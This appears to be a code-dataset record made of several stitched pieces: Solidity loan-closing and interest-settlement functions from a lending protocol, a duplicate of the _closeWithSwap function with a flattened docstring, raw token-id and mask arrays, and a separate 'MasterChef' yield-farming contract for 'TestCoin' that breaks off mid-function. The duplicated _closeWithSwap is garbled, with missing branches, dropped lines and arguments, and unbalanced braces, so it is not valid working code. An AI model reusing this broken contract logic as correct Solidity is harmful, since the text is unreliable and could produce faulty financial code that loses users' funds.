activeLoansSet.removeBytes32(loanLocal.id);
lenderLoanSets[loanLocal.lender].removeBytes32(loanLocal.id);
borrowerLoanSets[loanLocal.borrower].removeBytes32(loanLocal.id);
} else {
loanLocal.principal = loanLocal.principal.sub(loanCloseAmount);
}
}
function _settleInterest(
LoanParams memory loanParamsLocal,
Loan memory loanLocal,
uint256 closePrincipal
) internal returns (uint256) {
// pay outstanding interest to lender
_payInterest(loanLocal.lender, loanParamsLocal.loanToken);
LoanInterest storage loanInterestLocal = loanInterest[loanLocal.id];
LenderInterest storage lenderInterestLocal = lenderInterest[loanLocal.lender][loanParamsLocal.loanToken];
uint256 interestTime = block.timestamp;
if (interestTime > loanLocal.endTimestamp) {
interestTime = loanLocal.endTimestamp;
}
_settleFeeRewardForInterestExpense(
loanInterestLocal,
loanLocal.id,
loanParamsLocal.loanToken, /// fee token
loanParamsLocal.collateralToken, /// pairToken (used to check if there is any special rebates or not) -- to pay fee reward
loanLocal.borrower,
interestTime
);
uint256 owedPerDayRefund;
if (closePrincipal < loanLocal.principal) {
owedPerDayRefund = loanInterestLocal.owedPerDay.mul(closePrincipal).div(loanLocal.principal);
} else {
owedPerDayRefund = loanInterestLocal.owedPerDay;
}
// update stored owedPerDay
loanInterestLocal.owedPerDay = loanInterestLocal.owedPerDay.sub(owedPerDayRefund);
lenderInterestLocal.owedPerDay = lenderInterestLocal.owedPerDay.sub(owedPerDayRefund);
// update borrower interest
uint256 interestRefundToBorrower = loanLocal.endTimestamp.sub(interestTime);
interestRefundToBorrower = interestRefundToBorrower.mul(owedPerDayRefund);
interestRefundToBorrower = interestRefundToBorrower.div(1 days);
if (closePrincipal < loanLocal.principal) {
loanInterestLocal.depositTotal = loanInterestLocal.depositTotal.sub(interestRefundToBorrower);
} else {
loanInterestLocal.depositTotal = 0;
}
// update remaining lender interest values
lenderInterestLocal.principalTotal = lenderInterestLocal.principalTotal.sub(closePrincipal);
uint256 owedTotal = lenderInterestLocal.owedTotal;
lenderInterestLocal.owedTotal = owedTotal > interestRefundToBorrower ? owedTotal - interestRefundToBorrower : 0;
return interestRefundToBorrower;
}
/**
* @notice Check sender is borrower or delegatee and loan id exists.
*
* @param loanId byte32 of the loan id.
* */
function _checkAuthorized(bytes32 loanId) internal view {
Loan storage loanLocal = loans[loanId];
require(msg.sender == loanLocal.borrower || delegatedManagers[loanLocal.id][msg.sender], "unauthorized");
}
/**
* @notice Internal function for closing a position by swapping the
* collateral back to loan tokens, paying the lender and withdrawing
* the remainder.
*
* @param loanId The id of the loan.
* @param receiver The receiver of the remainder (unused collatral + profit).
* @param swapAmount Defines how much of the position should be closed and
* is denominated in collateral tokens.
* If swapAmount >= collateral, the complete position will be closed.
* Else if returnTokenIsCollateral, (swapAmount/collateral) * principal will be swapped (partial closure).
* Else coveredPrincipal
* @param returnTokenIsCollateral Defines if the remainder should be paid
* out in collateral tokens or underlying loan tokens.
*
* @return loanCloseAmount The amount of the collateral token of the loan.
* @return withdrawAmount The withdraw amount in the collateral token.
* @return withdrawToken The loan token address.
* */
function _closeWithSwap(
bytes32 loanId,
address receiver,
uint256 swapAmount,
bool returnTokenIsCollateral,
bytes memory loanDataBytes
)
internal
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
)
{
require(swapAmount != 0, "swapAmount == 0");
(Loan storage loanLocal, LoanParams storage loanParamsLocal) = _checkLoan(loanId);
/// Can't swap more than collateral.
swapAmount = swapAmount > loanLocal.collateral ? loanLocal.collateral : swapAmount;
//close whole loan if tiny position will remain
if (loanLocal.collateral - swapAmount > 0) {
if (_getAmountInRbtc(loanParamsLocal.collateralToken, loanLocal.collateral - swapAmount) <= TINY_AMOUNT) {
swapAmount = loanLocal.collateral;
}
}
uint256 loanCloseAmountLessInterest;
if (swapAmount == loanLocal.collateral || returnTokenIsCollateral) {
/// loanCloseAmountLessInterest will be passed as required amount amount of destination tokens.
/// this means, the actual swapAmount passed to the swap contract does not matter at all.
/// the source token amount will be computed depending on the required amount amount of destination tokens.
loanCloseAmount = swapAmount == loanLocal.collateral
? loanLocal.principal
: loanLocal.principal.mul(swapAmount).div(loanLocal.collateral);
require(loanCloseAmount != 0, "loanCloseAmount == 0");
/// Computes the interest refund for the borrower and sends it to the lender to cover part of the principal.
loanCloseAmountLessInterest = _settleInterestToPrincipal(loanLocal, loanParamsLocal, loanCloseAmount, receiver);
} else {
/// loanCloseAmount is calculated after swap; for this case we want to swap the entire source amount
/// and determine the loanCloseAmount and withdraw amount based on that.
loanCloseAmountLessInterest = 0;
}
uint256 coveredPrincipal;
uint256 usedCollateral;
/// swapAmount repurposed for collateralToLoanSwapRate to avoid stack too deep error.
(coveredPrincipal, usedCollateral, withdrawAmount, swapAmount) = _coverPrincipalWithSwap(
loanLocal,
loanParamsLocal,
swapAmount, /// The amount of source tokens to swap (only matters if !returnTokenIsCollateral or loanCloseAmountLessInterest = 0)
loanCloseAmountLessInterest, /// This is the amount of destination tokens we want to receive (only matters if returnTokenIsCollateral)
returnTokenIsCollateral,
loanDataBytes
);
if (loanCloseAmountLessInterest == 0) {
/// Condition prior to swap: swapAmount != loanLocal.collateral && !returnTokenIsCollateral
/// Amounts that is closed.
loanCloseAmount = coveredPrincipal;
if (coveredPrincipal != loanLocal.principal) {
loanCloseAmount = loanCloseAmount.mul(usedCollateral).div(loanLocal.collateral);
}
require(loanCloseAmount != 0, "loanCloseAmount == 0");
/// Amount that is returned to the lender.
loanCloseAmountLessInterest = _settleInterestToPrincipal(loanLocal, loanParamsLocal, loanCloseAmount, receiver);
/// Remaining amount withdrawn to the receiver.
withdrawAmount = withdrawAmount.add(coveredPrincipal).sub(loanCloseAmountLessInterest);
} else {
/// Pay back the amount which was covered by the swap.
loanCloseAmountLessInterest = coveredPrincipal;
}
require(loanCloseAmountLessInterest != 0, "closeAmount is 0 after swap");
/// Reduce the collateral by the amount which was swapped for the closure.
if (usedCollateral != 0) {
loanLocal.collateral = loanLocal.collateral.sub(usedCollateral);
}
/// Repays principal to lender.
/// The lender always gets back an ERC20 (even wrbtc), so we call
/// withdraw directly rather than use the _withdrawAsset helper function.
vaultWithdraw(loanParamsLocal.loanToken, loanLocal.lender, loanCloseAmountLessInterest);
withdrawToken = returnTokenIsCollateral ? loanParamsLocal.collateralToken : loanParamsLocal.loanToken;
if (withdrawAmount != 0) {
_withdrawAsset(withdrawToken, receiver, withdrawAmount);
}
_finalizeClose(
loanLocal,
loanParamsLocal,
loanCloseAmount,
usedCollateral,
swapAmount, /// collateralToLoanSwapRate
CloseTypes.Swap
);
}
/**
* @notice Close a loan.
*
* @dev Wrapper for _closeLoan internal function.
*
* @param loanLocal The loan object.
* @param loanParamsLocal The loan params.
* @param loanCloseAmount The amount to close: principal or lower.
* @param collateralCloseAmount The amount of collateral to close.
* @param collateralToLoanSwapRate The price rate collateral/loan token.
* @param closeType The type of loan close.
* */
function _finalizeClose(
Loan storage loanLocal,
LoanParams storage loanParamsLocal,
uint256 loanCloseAmount,
uint256 collateralCloseAmount,
uint256 collateralToLoanSwapRate,
CloseTypes closeType
) internal {
_closeLoan(loanLocal, loanCloseAmount);
address _priceFeeds = priceFeeds;
uint256 currentMargin;
uint256 collateralToLoanRate;
/// This is still called even with full loan close to return collateralToLoanRate
(bool success, bytes memory data) =
_priceFeeds.staticcall(
abi.encodeWithSelector(
IPriceFeeds(_priceFeeds).getCurrentMargin.selector,
loanParamsLocal.loanToken,
loanParamsLocal.collateralToken,
loanLocal.principal,
loanLocal.collateral
)
);
assembly {
if eq(success, 1) {
currentMargin := mload(add(data, 32))
collateralToLoanRate := mload(add(data, 64))
}
}
/// Note: We can safely skip the margin check if closing
/// via closeWithDeposit or if closing the loan in full by any method.
require(
closeType == CloseTypes.Deposit ||
loanLocal.principal == 0 || /// loan fully closed
currentMargin > loanParamsLocal.maintenanceMargin,
"unhealthy position"
);
_emitClosingEvents(
loanParamsLocal,
loanLocal,
loanCloseAmount,
collateralCloseAmount,
collateralToLoanRate,
collateralToLoanSwapRate,
currentMargin,
closeType
);
}
/**
* swaps a share of a loan's collateral or the complete collateral in order to cover the principle.
* @param loanLocal the loan
* @param loanParamsLocal the loan parameters
* @param swapAmount in case principalNeeded == 0 or !returnTokenIsCollateral, this is the amount which is going to be swapped.
* Else, swapAmount doesn't matter, because the amount of source tokens needed for the swap is estimated by the connector.
* @param principalNeeded the required amount of destination tokens in order to cover the principle (only used if returnTokenIsCollateral)
* @param returnTokenIsCollateral tells if the user wants to withdraw his remaining collateral + profit in collateral tokens
* @notice Swaps a share of a loan's collateral or the complete collateral
* in order to cover the principle.
*
* @param loanLocal The loan object.
* @param loanParamsLocal The loan parameters.
* @param swapAmount In case principalNeeded == 0 or !returnTokenIsCollateral,
* this is the amount which is going to be swapped.
* Else, swapAmount doesn't matter, because the amount of source tokens
* needed for the swap is estimated by the connector.
* @param principalNeeded The required amount of destination tokens in order to
* cover the principle (only used if returnTokenIsCollateral).
* @param returnTokenIsCollateral Tells if the user wants to withdraw his
* remaining collateral + profit in collateral tokens.
*
* @return coveredPrincipal The amount of principal that is covered.
* @return usedCollateral The amount of collateral used.
* @return withdrawAmount The withdraw amount in the collateral token.
* @return collateralToLoanSwapRate The swap rate of collateral.
* */
function _coverPrincipalWithSwap(
Loan memory loanLocal,
LoanParams memory loanParamsLocal,
uint256 swapAmount,
uint256 principalNeeded,
bool returnTokenIsCollateral,
bytes memory loanDataBytes
)
internal
returns (
uint256 coveredPrincipal,
uint256 usedCollateral,
uint256 withdrawAmount,
uint256 collateralToLoanSwapRate
)
{
uint256 destTokenAmountReceived;
uint256 sourceTokenAmountUsed;
(destTokenAmountReceived, sourceTokenAmountUsed, collateralToLoanSwapRate) = _doCollateralSwap(
loanLocal,
loanParamsLocal,
swapAmount,
principalNeeded,
returnTokenIsCollateral,
loanDataBytes
);
if (returnTokenIsCollateral) {
coveredPrincipal = principalNeeded;
/// Better fill than expected.
if (destTokenAmountReceived > coveredPrincipal) {
/// Send excess to borrower if the amount is big enough to be
/// worth the gas fees.
if (worthTheTransfer(loanParamsLocal.loanToken, destTokenAmountReceived - coveredPrincipal)) {
_withdrawAsset(loanParamsLocal.loanToken, loanLocal.borrower, destTokenAmountReceived - coveredPrincipal);
}
/// Else, give the excess to the lender (if it goes to the
/// borrower, they're very confused. causes more trouble than it's worth)
else {
coveredPrincipal = destTokenAmountReceived;
}
}
withdrawAmount = swapAmount > sourceTokenAmountUsed ? swapAmount - sourceTokenAmountUsed : 0;
} else {
require(sourceTokenAmountUsed == swapAmount, "swap error");
if (swapAmount == loanLocal.collateral) {
/// sourceTokenAmountUsed == swapAmount == loanLocal.collateral
coveredPrincipal = principalNeeded;
withdrawAmount = destTokenAmountReceived - principalNeeded;
} else {
/// sourceTokenAmountUsed == swapAmount < loanLocal.collateral
if (destTokenAmountReceived >= loanLocal.principal) {
/// Edge case where swap covers full principal.
coveredPrincipal = loanLocal.principal;
withdrawAmount = destTokenAmountReceived - loanLocal.principal;
/// Excess collateral refunds to the borrower.
_withdrawAsset(loanParamsLocal.collateralToken, loanLocal.borrower, loanLocal.collateral - sourceTokenAmountUsed);
sourceTokenAmountUsed = loanLocal.collateral;
} else {
coveredPrincipal = destTokenAmountReceived;
withdrawAmount = 0;
}
}
}
usedCollateral = sourceTokenAmountUsed > swapAmount ? sourceTokenAmountUsed : swapAmount;
}
function _emitClosingEvents(
LoanParams memory loanParamsLocal,
Loan memory loanLocal,
uint256 loanCloseAmount,
uint256 collateralCloseAmount,
uint256 collateralToLoanRate,
uint256 collateralToLoanSwapRate,
uint256 currentMargin,
CloseTypes closeType
) internal {
if (closeType == CloseTypes.Deposit) {
emit CloseWithDeposit(
loanLocal.borrower, /// user (borrower)
loanLocal.lender, /// lender
loanLocal.id, /// loanId
msg.sender, /// closer
loanParamsLocal.loanToken, /// loanToken
loanParamsLocal.collateralToken, /// collateralToken
loanCloseAmount, /// loanCloseAmount
collateralCloseAmount, /// collateralCloseAmount
collateralToLoanRate, /// collateralToLoanRate
currentMargin /// currentMargin
);
} else if (closeType == CloseTypes.Swap) {
/// exitPrice = 1 / collateralToLoanSwapRate
if (collateralToLoanSwapRate != 0) {
collateralToLoanSwapRate = SafeMath.div(10**36, collateralToLoanSwapRate);
}
/// currentLeverage = 100 / currentMargin
if (currentMargin != 0) {
currentMargin = SafeMath.div(10**38, currentMargin);
}
emit CloseWithSwap(
loanLocal.borrower, /// user (trader)
loanLocal.lender, /// lender
loanLocal.id, /// loanId
loanParamsLocal.collateralToken, /// collateralToken
loanParamsLocal.loanToken, /// loanToken
msg.sender, /// closer
collateralCloseAmount, /// positionCloseSize
loanCloseAmount, /// loanCloseAmount
collateralToLoanSwapRate, /// exitPrice (1 / collateralToLoanSwapRate)
currentMargin /// currentLeverage
);
} else if (closeType == CloseTypes.Liquidation) {
emit Liquidate(
loanLocal.borrower, // user (borrower)
msg.sender, // liquidator
loanLocal.id, // loanId
loanLocal.lender, // lender
loanParamsLocal.loanToken, // loanToken
loanParamsLocal.collateralToken, // collateralToken
loanCloseAmount, // loanCloseAmount
collateralCloseAmount, // collateralCloseAmount
collateralToLoanRate, // collateralToLoanRate
currentMargin // currentMargin
);
}
}
/**
* @dev returns amount of the asset converted to RBTC
* @param asset the asset to be transferred
* @param amount the amount to be transferred
* @return amount in RBTC
* */
function _getAmountInRbtc(address asset, uint256 amount) internal returns (uint256) {
(uint256 rbtcRate, uint256 rbtcPrecision) = IPriceFeeds(priceFeeds).queryRate(asset, address(wrbtcToken));
return amount.mul(rbtcRate).div(rbtcPrecision);
}
/**
* @dev private function which check the loanLocal & loanParamsLocal does exist
*
* @param loanId bytes32 of loanId
*
* @return Loan storage
* @return LoanParams storage
*/
function _checkLoan(bytes32 loanId) internal view returns (Loan storage, LoanParams storage) {
Loan storage loanLocal = loans[loanId];
LoanParams storage loanParamsLocal = loanParams[loanLocal.loanParamsId];
require(loanLocal.active, "loan is closed");
require(loanParamsLocal.id != 0, "loanParams not exists");
return (loanLocal, loanParamsLocal);
}
}
| * @notice Internal function for closing a position by swapping the collateral back to loan tokens, paying the lender and withdrawing the remainder. @param loanId The id of the loan. @param receiver The receiver of the remainder (unused collatral + profit). @param swapAmount Defines how much of the position should be closed and is denominated in collateral tokens. If swapAmount >= collateral, the complete position will be closed. Else if returnTokenIsCollateral, (swapAmount/collateral) principal will be swapped (partial closure). Else coveredPrincipal @param returnTokenIsCollateral Defines if the remainder should be paid out in collateral tokens or underlying loan tokens. @return loanCloseAmount The amount of the collateral token of the loan. @return withdrawAmount The withdraw amount in the collateral token. @return withdrawToken The loan token address. /close whole loan if tiny position will remain Condition prior to swap: swapAmount != loanLocal.collateral && !returnTokenIsCollateral Amounts that is closed. Reduce the collateral by the amount which was swapped for the closure. | function _closeWithSwap(
bytes32 loanId,
address receiver,
uint256 swapAmount,
bool returnTokenIsCollateral,
bytes memory loanDataBytes
)
internal
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
)
{
require(swapAmount != 0, "swapAmount == 0");
(Loan storage loanLocal, LoanParams storage loanParamsLocal) = _checkLoan(loanId);
swapAmount = swapAmount > loanLocal.collateral ? loanLocal.collateral : swapAmount;
if (loanLocal.collateral - swapAmount > 0) {
if (_getAmountInRbtc(loanParamsLocal.collateralToken, loanLocal.collateral - swapAmount) <= TINY_AMOUNT) {
swapAmount = loanLocal.collateral;
}
}
uint256 loanCloseAmountLessInterest;
if (swapAmount == loanLocal.collateral || returnTokenIsCollateral) {
loanCloseAmount = swapAmount == loanLocal.collateral
? loanLocal.principal
: loanLocal.principal.mul(swapAmount).div(loanLocal.collateral);
require(loanCloseAmount != 0, "loanCloseAmount == 0");
loanCloseAmountLessInterest = _settleInterestToPrincipal(loanLocal, loanParamsLocal, loanCloseAmount, receiver);
loanCloseAmountLessInterest = 0;
uint256 coveredPrincipal;
uint256 usedCollateral;
loanLocal,
loanParamsLocal,
returnTokenIsCollateral,
loanDataBytes
);
if (loanCloseAmountLessInterest == 0) {
loanCloseAmount = coveredPrincipal;
if (coveredPrincipal != loanLocal.principal) {
loanCloseAmount = loanCloseAmount.mul(usedCollateral).div(loanLocal.collateral);
}
require(loanCloseAmount != 0, "loanCloseAmount == 0");
}
require(loanCloseAmountLessInterest != 0, "closeAmount is 0 after swap");
if (usedCollateral != 0) {
loanLocal.collateral = loanLocal.collateral.sub(usedCollateral);
}
withdrawToken = returnTokenIsCollateral ? loanParamsLocal.collateralToken : loanParamsLocal.loanToken;
if (withdrawAmount != 0) {
_withdrawAsset(withdrawToken, receiver, withdrawAmount);
}
_finalizeClose(
loanLocal,
loanParamsLocal,
loanCloseAmount,
usedCollateral,
CloseTypes.Swap
);
}
| 956,025 | [
1,
3061,
445,
364,
7647,
279,
1754,
635,
7720,
1382,
326,
4508,
2045,
287,
1473,
358,
28183,
2430,
16,
8843,
310,
326,
328,
2345,
471,
598,
9446,
310,
326,
10022,
18,
225,
28183,
548,
1021,
612,
434,
326,
28183,
18,
225,
5971,
1021,
5971,
434,
326,
10022,
261,
14375,
4508,
270,
23811,
397,
450,
7216,
2934,
225,
7720,
6275,
18003,
281,
3661,
9816,
434,
326,
1754,
1410,
506,
4375,
471,
282,
353,
10716,
7458,
316,
4508,
2045,
287,
2430,
18,
377,
971,
7720,
6275,
1545,
4508,
2045,
287,
16,
326,
3912,
1754,
903,
506,
4375,
18,
377,
16289,
309,
327,
1345,
2520,
13535,
2045,
287,
16,
261,
22270,
6275,
19,
12910,
2045,
287,
13,
225,
8897,
903,
506,
7720,
1845,
261,
11601,
7213,
2934,
377,
16289,
18147,
9155,
225,
327,
1345,
2520,
13535,
2045,
287,
18003,
281,
309,
326,
10022,
1410,
506,
30591,
282,
596,
316,
4508,
2045,
287,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
202,
915,
389,
4412,
1190,
12521,
12,
203,
202,
202,
3890,
1578,
28183,
548,
16,
203,
202,
202,
2867,
5971,
16,
203,
202,
202,
11890,
5034,
7720,
6275,
16,
203,
202,
202,
6430,
327,
1345,
2520,
13535,
2045,
287,
16,
203,
202,
202,
3890,
3778,
28183,
751,
2160,
203,
202,
13,
203,
202,
202,
7236,
203,
202,
202,
6154,
261,
203,
1082,
202,
11890,
5034,
28183,
4605,
6275,
16,
203,
1082,
202,
11890,
5034,
598,
9446,
6275,
16,
203,
1082,
202,
2867,
598,
9446,
1345,
203,
202,
202,
13,
203,
202,
95,
203,
202,
202,
6528,
12,
22270,
6275,
480,
374,
16,
315,
22270,
6275,
422,
374,
8863,
203,
203,
202,
202,
12,
1504,
304,
2502,
28183,
2042,
16,
3176,
304,
1370,
2502,
28183,
1370,
2042,
13,
273,
389,
1893,
1504,
304,
12,
383,
304,
548,
1769,
203,
203,
202,
202,
22270,
6275,
273,
7720,
6275,
405,
28183,
2042,
18,
12910,
2045,
287,
692,
28183,
2042,
18,
12910,
2045,
287,
294,
7720,
6275,
31,
203,
203,
202,
202,
430,
261,
383,
304,
2042,
18,
12910,
2045,
287,
300,
7720,
6275,
405,
374,
13,
288,
203,
1082,
202,
430,
261,
67,
588,
6275,
382,
54,
70,
5111,
12,
383,
304,
1370,
2042,
18,
12910,
2045,
287,
1345,
16,
28183,
2042,
18,
12910,
2045,
287,
300,
7720,
6275,
13,
1648,
399,
31853,
67,
2192,
51,
5321,
13,
288,
203,
9506,
202,
22270,
6275,
273,
28183,
2042,
18,
12910,
2045,
287,
31,
203,
1082,
202,
97,
203,
202,
202,
97,
203,
203,
202,
202,
11890,
5034,
28183,
2
] |
//Socials
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './interfaces/SafeBEP20.sol';
import './TestCoin.sol';
// MasterChef is the master of TestCoin. He can make TestCoin and he is a fair Atom.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once TestCoin is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable, ReentrancyGuard {
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of TestCoins
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accTestCoinPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accTestCoinPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IBEP20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. TestCoins to distribute per block.
uint256 lastRewardBlock; // Last block number that TestCoins distribution occurs.
uint256 accTestCoinPerShare; // Accumulated TestCoins per share, times 1e12. See below.
uint16 depositFeeBP; // Deposit fee in basis points
}
struct FeeInfo{
address feeAddress;
uint16 feeAddressShare; //(0-100) in Basis points. the sum of all in array must sum 100.
}
FeeInfo[] public feeArray;
// The TestCoin TOKEN!
TestCoin public _testCoin;
// Dev address.
address public _devAddress;
// Deposit/Withdraw Fee address
address public _feeAddress;
// TestCoin tokens created per block.
uint256 public _testCoinPerBlock;
// Info of each pool.
PoolInfo[] public _poolInfo;
// Exist a pool with that token?
mapping(IBEP20 => bool) public _poolExistence;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public _userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public _totalAllocPoint;
// The block number when TestCoin mining starts.
uint256 public _startBlock;
modifier nonDuplicated(IBEP20 lpToken_) {
require(!_poolExistence[lpToken_], 'MasterChef: nonDuplicated: duplicated token');
_;
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event SetFeeAddress(address indexed user, address indexed newAddress);
event SetDevAddress(address indexed user, address indexed newAddress);
event UpdateEmissionRate(address indexed user, uint256 TestCoinPerBlock);
constructor(
TestCoin testCoin_,
address devAddress_,
address feeAddress_
//uint256 testCoinPerBlock_
//uint256 startBlock_
) {
_testCoin = testCoin_;
_devAddress = devAddress_;
_feeAddress = feeAddress_;
feeArray.push(
FeeInfo({
feeAddress:feeAddress_,
feeAddressShare:100
}));
//_testCoinPerBlock = testCoinPerBlock_;
_testCoinPerBlock = ((5 * (10**_testCoin.decimals())) / 100); // 0.05 TestCoin per block
//_startBlock = startBlock_;
_startBlock = block.number + 43200; // start block 1 days after deploy, initial date.. might change
}
function poolLength() external view returns (uint256) {
return _poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 allocPoint_, IBEP20 lpToken_, uint16 depositFeeBP_, bool withUpdate_) public onlyOwner nonDuplicated(lpToken_) {
require(depositFeeBP_ <= 400, 'MasterChef: Add: Invalid deposit fee basis points, must be [0-400]'); //deposit Fee capped at 400 -> 4%
if (withUpdate_) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock;
_totalAllocPoint += allocPoint_;
_poolExistence[lpToken_] = true;
_poolInfo.push(
PoolInfo({
lpToken : lpToken_,
allocPoint : allocPoint_,
lastRewardBlock : lastRewardBlock,
accTestCoinPerShare : 0,
depositFeeBP : depositFeeBP_
}));
}
// Update the given pool's TestCoin allocation point and deposit fee. Can only be called by the owner.
function set(uint256 pid_, uint256 allocPoint_, uint16 depositFeeBP_, bool withUpdate_) public onlyOwner {
require(depositFeeBP_ <= 400, 'MasterChef: Set: Invalid deposit fee basis points, must be [0-400]'); //deposit Fee capped at 400 -> 4%
if (withUpdate_) {
massUpdatePools();
}
_totalAllocPoint = ((_totalAllocPoint + allocPoint_)- _poolInfo[pid_].allocPoint);
_poolInfo[pid_].allocPoint = allocPoint_;
_poolInfo[pid_].depositFeeBP = depositFeeBP_;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 from_, uint256 to_) public pure returns (uint256) {
return to_-from_;
}
// View function to see pending TestCoin on frontend.
function pendingTestCoin(uint256 pid_, address user_) external view returns (uint256) {
PoolInfo storage pool = _poolInfo[pid_];
UserInfo storage user = _userInfo[pid_][user_];
uint256 accTestCoinPerShare = pool.accTestCoinPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testCoinReward = ((multiplier*_testCoinPerBlock*pool.allocPoint)/_totalAllocPoint);
accTestCoinPerShare += ((testCoinReward* 1e12)/lpSupply);
}
return (((user.amount*accTestCoinPerShare)/ 1e12) - user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
for (uint256 pid = 0; pid < _poolInfo.length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 pid_) public {
PoolInfo storage pool = _poolInfo[pid_];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testCoinReward = ((multiplier*_testCoinPerBlock*pool.allocPoint)/_totalAllocPoint);
_testCoin.mint(_devAddress, testCoinReward/10);
_testCoin.mint(address(this), testCoinReward);
pool.accTestCoinPerShare += ((testCoinReward*1e12)/lpSupply);
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for TestCoin allocation.
function deposit(uint256 pid_, uint256 amount_) public nonReentrant {
PoolInfo storage pool = _poolInfo[pid_];
UserInfo storage user = _userInfo[pid_][_msgSender()];
updatePool(pid_);
if (user.amount > 0) {
uint256 pending = (((user.amount*pool.accTestCoinPerShare)/1e12) - user.rewardDebt);
if (pending > 0) {
safeTestCoinTransfer(_msgSender(), pending);
}
}
if (amount_ > 0) {
pool.lpToken.safeTransferFrom(_msgSender(), address(this), amount_);
if (pool.depositFeeBP > 0) {
uint256 depositFee = ((amount_*pool.depositFeeBP)/10000);
distributeFee(pool.lpToken, depositFee);
//pool.lpToken.safeTransfer(_feeAddress, depositFee);
user.amount = (user.amount + amount_) - depositFee;
} else {
user.amount += amount_;
}
}
user.rewardDebt = ((user.amount*pool.accTestCoinPerShare)/1e12);
emit Deposit(_msgSender(), pid_, amount_);
}
function distributeFee(IBEP20 lpToken, uint256 amount_) internal {
uint256 acumulated;
for (uint256 i = 1; i<feeArray.length;++i){
uint256 fraction = ((amount_*feeArray[i].feeAddressShare)/100);
lpToken.safeTransfer(feeArray[i].feeAddress, fraction);
acumulated+=fraction;
}
lpToken.safeTransfer(feeArray[0].feeAddress, amount_-acumulated);
}
function setFeeAddressArray(FeeInfo[] calldata fiarray_) public{
require(_msgSender() == _feeAddress, 'MasterChef: setFeeAddressArray: Only feeAddress can set');
uint16 count;
delete feeArray;
for (uint256 i = 0; i<fiarray_.length;++i){
count+= fiarray_[i].feeAddressShare;
feeArray.push(FeeInfo({
feeAddress:fiarray_[i].feeAddress,
feeAddressShare:fiarray_[i].feeAddressShare
}));
}
require(count==100,'MasterChef: setFeeAddressArray: sum of shares must be 100');
//feeArray = fiarray_;
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 pid_, uint256 amount_) public nonReentrant {
PoolInfo storage pool = _poolInfo[pid_];
UserInfo storage user = _userInfo[pid_][_msgSender()];
require(user.amount >= amount_, 'MasterChef: Withdraw: not enough to withdraw');
updatePool(pid_);
uint256 pending = (((user.amount*pool.accTestCoinPerShare)/1e12) - user.rewardDebt);
if (pending > 0) {
safeTestCoinTransfer(_msgSender(), pending);
}
if (amount_ > 0) {
user.amount -= amount_;
pool.lpToken.safeTransfer(_msgSender(), amount_);
}
user.rewardDebt = ((user.amount*pool.accTestCoinPerShare)/1e12);
emit Withdraw(_msgSender(), pid_, amount_);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 pid_) public nonReentrant {
PoolInfo storage pool = _poolInfo[pid_];
UserInfo storage user = _userInfo[pid_][_msgSender()];
uint256 amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(_msgSender(), amount);
emit EmergencyWithdraw(_msgSender(), pid_, amount);
}
// Safe TestCoin transfer function, just in case if rounding error causes pool to not have enough TestCoin.
function safeTestCoinTransfer(address to_, uint256 amount_) internal {
uint256 testCoinBal = _testCoin.balanceOf(address(this));
bool transferSuccess = amount_ > testCoinBal? _testCoin.transfer(to_, testCoinBal): _testCoin.transfer(to_, amount_);
